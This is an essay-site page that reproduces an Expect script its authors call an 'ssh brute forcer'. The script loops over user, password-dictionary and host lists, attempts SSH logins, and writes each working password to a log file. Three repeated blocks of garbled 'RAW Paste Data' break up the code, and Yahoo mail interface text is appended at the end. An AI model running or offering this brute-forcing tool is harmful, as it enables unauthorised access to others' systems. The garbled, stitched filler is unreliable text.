Cracking PasswordEssay Preview: Cracking PasswordReport this essay#!/usr/bin/expect -f # # Written by James Shanahan([email protected]) # and Erin Palmer([email protected]) # ssh brute forcer # This will alow you to specify hosts, password lists, and a user # I do not take any reponsibilty for what you do with this tool # Hopefully it will make your life easier rather then making other # peoples lives more difficult! set timeout 5 set dictionary [lindex $argv 0] set file [lindex $argv 1] set user [lindex $argv 2] if {[llength $argv] != 3} { puts stderr “Usage: $argv0 n” exit } set tryHost [open $file r] set tryPass [open $dictionary r] set tryUser [open $user r] set passwords [read $tryPass] set hosts [read $tryHost] set login [read $tryUser] foreach username $login { foreach passwd $passwords { foreach ip $hosts { spawn ssh $username@$ip expect “:”
”„„„―‖‗‘’‚‛“”„‟†‡•‣․‥…‧ ‰‱′″‴‵‶‷‸‹”›‟※‼‽‾‿⁀⁹⁺⁻⁼„‟†‡•
RAW Paste Data
# ********* Script Used ********* ********* ********* # ********- ********- ********* ********* *********** 1 ****************************##2_1 (832) ************— ******** ********************** ************ # ********************* ********************** ********************** ************ # ********************* ************************ ************ 2 ********— (32) ********- () ********- 2 *********** (32) ********(33) ************ (32) ************ (32) ****************- 3 ********—– (34) ************-(33) ********+ 4 ********- (36) ********(33) ********+ ************************(34) ********(33) ********(33) ************(34) ********(33) —————- ********— (36) ******** (38) ******** ********(34) ********(33) ************(35) ********- **************** ************ 5 ********+ – (38) ********+ ************(35) ************(31) ************(31) ********+ **************************** ************************ 6 ********+ ~ ********— (38) ********+ ************(31) ************(31) ********+ ************************ ************ 7 ********+ ~ ~ ********— (36) ********+ ************(31) ************(31) ********+ ************************ ************ 8 ********
”„„„―‖‗‘’‚‛“”„‟†‡•‣․‥…‧ ‰‱′″‴‵‶‷‸‹”›‟※‼‽‾‿⁀⁹⁺⁻⁼„‟†‡•
RAW Paste Data
# ********* Script Used ********* ********* ********* # ********- ********- ********* ********* *********** 1 ****************************##2_1 (832) ************— ******** ********************** ************ # ********************* ********************** ********************** ************ # ********************* ************************ ************ 2 ********— (32) ********- () ********- 2 *********** (32) ********(33) ************ (32) ************ (32) ****************- 3 ********—– (34) ************-(33) ********+ 4 ********- (36) ********(33) ********+ ************************(34) ********(33) ********(33) ************(34) ********(33) —————- ********— (36) ******** (38) ******** ********(34) ********(33) ************(35) ********- **************** ************ 5 ********+ – (38) ********+ ************(35) ************(31) ************(31) ********+ **************************** ************************ 6 ********+ ~ ********— (38) ********+ ************(31) ************(31) ********+ ************************ ************ 7 ********+ ~ ~ ********— (36) ********+ ************(31) ************(31) ********+ ************************ ************ 8 ********
”„„„―‖‗‘’‚‛“”„‟†‡•‣․‥…‧ ‰‱′″‴‵‶‷‸‹”›‟※‼‽‾‿⁀⁹⁺⁻⁼„‟†‡•
RAW Paste Data
# ********* Script Used ********* ********* ********* # ********- ********- ********* ********* *********** 1 ****************************##2_1 (832) ************— ******** ********************** ************ # ********************* ********************** ********************** ************ # ********************* ************************ ************ 2 ********— (32) ********- () ********- 2 *********** (32) ********(33) ************ (32) ************ (32) ****************- 3 ********—– (34) ************-(33) ********+ 4 ********- (36) ********(33) ********+ ************************(34) ********(33) ********(33) ************(34) ********(33) —————- ********— (36) ******** (38) ******** ********(34) ********(33) ************(35) ********- **************** ************ 5 ********+ – (38) ********+ ************(35) ************(31) ************(31) ********+ **************************** ************************ 6 ********+ ~ ********— (38) ********+ ************(31) ************(31) ********+ ************************ ************ 7 ********+ ~ ~ ********— (36) ********+ ************(31) ************(31) ********+ ************************ ************ 8 ********
send “$passwdn” set logFile [open $ip.log a] expect “L” { puts $logFile “password for $username@$ip is $passwdn” close $logFile } set id [exp_pid] exec kill -INT $id } } }
Yahoo! PhotosRing in the New Year with Photo Calendars. Add photos, events, holidays, whatever.DeleteReplyForwardSpamMovePrevious | Next | Back to Messages Save Message Text | Full Headers